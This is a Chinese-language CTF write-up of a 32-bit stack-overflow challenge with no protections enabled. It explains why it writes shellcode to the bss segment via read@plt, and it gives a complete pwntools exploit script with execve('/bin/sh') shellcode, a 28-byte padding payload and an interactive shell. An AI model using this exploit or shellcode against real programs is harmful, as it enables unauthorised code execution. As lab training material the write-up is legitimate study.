read_shellcode
师傅出的一个栈溢出的题,思路就是利用read往bss段写入shellcode然后调用
日常checksec一下,啥都没开
运行主程序可以看出来,程序读入了一个字符串无打印 gdb调试的时候可以看到是调用了plt的read函数,说明他读入字符串是用的read@plt,我们可以用read往栈或者bss段写东西,或者利用gadget系统调用
这么几个gadget明显不够,系统调用pass
可以看到栈可以读可写,bss段也是可读可写,但是没有方法可以泄漏栈上的真实地址,所以采用往bss段写shellcode的方法
溢出长度 等于24 + 32位ebp = 28
在构造payload的时候我犯了一个错误就上read函数的参数和gets的参数不太相同 read(0,buf_addr,0x21) ? read,retrun_addr,0,buf_addr,0x21(read读取的字符串长度因为我shellcode长度上21所以我写的就是21) gets(bufaddr) ? gets,retrun_addr,buf_addr
exp
1 from pwn import *
2
3 io = process('./stack')
4
5 elf = ELF('./stack')
6 bss_align = 0x0804C01C
7 read_plt_addr = elf.plt['read']
8 pop_ebx_ret = 0x08049022
9 main_addr = elf.symbols['main']
10 print read_plt_addr
11
12 shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
13 payload = flat(['a'*28,read_plt_addr,bss_align,0,bss_align,21])
14 print disasm(shellcode)
15 io.sendline(payload)
16 io.sendline(shellcode)
17 io.interactive()
|